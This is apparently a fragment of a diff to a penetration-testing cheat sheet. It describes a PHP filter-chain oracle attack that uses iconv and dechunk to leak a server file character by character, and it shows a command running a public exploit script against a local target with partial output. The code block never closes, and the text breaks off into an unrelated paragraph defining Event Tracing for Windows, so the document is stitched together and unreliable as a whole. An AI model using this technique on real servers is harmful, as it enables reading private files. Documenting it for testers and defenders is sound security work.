+### Wrapper iconv:// and dechunk://
+
+The goal is to leak the content of a file, one character at a time. 
+ 
+**Requirements**:
+- Backend must not use `file_exists` or `is_file`.
+- Vulnerable parameter should be in a `POST` request. 
+  - You can't leak more than 135 characters in a GET request due to the size limit
+
+The exploit chain is based on PHP filters: `iconv` and `dechunk`:
+
+1. Use the `iconv` filter with an encoding increasing the data size exponentially to trigger a memory error.
+2. Use the `dechunk` filter to determine the first character of the file, based on the previous error.
+3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one.
+
+Exploit using [synacktiv/php_filter_chains_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit), the script will use either the `HTTP status code: 500` or the time as an error-based oracle to determine the character.
+
+```ps1
+$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0   
+[*] The following URL is targeted : http://127.0.0.1
+[*] The following local file is leaked : /test
+[*] Running POST requests

+## Event Tracing for Windows
+
+ETW (Event Tracing for Windows) is a Windows-based logging mechanism that provides a way to collect and analyze system events and performance data in real-time. ETW allows developers and system administrators to gather detailed information about system performance and behavior, which can be used for troubleshooting, optimization, and security purposes.
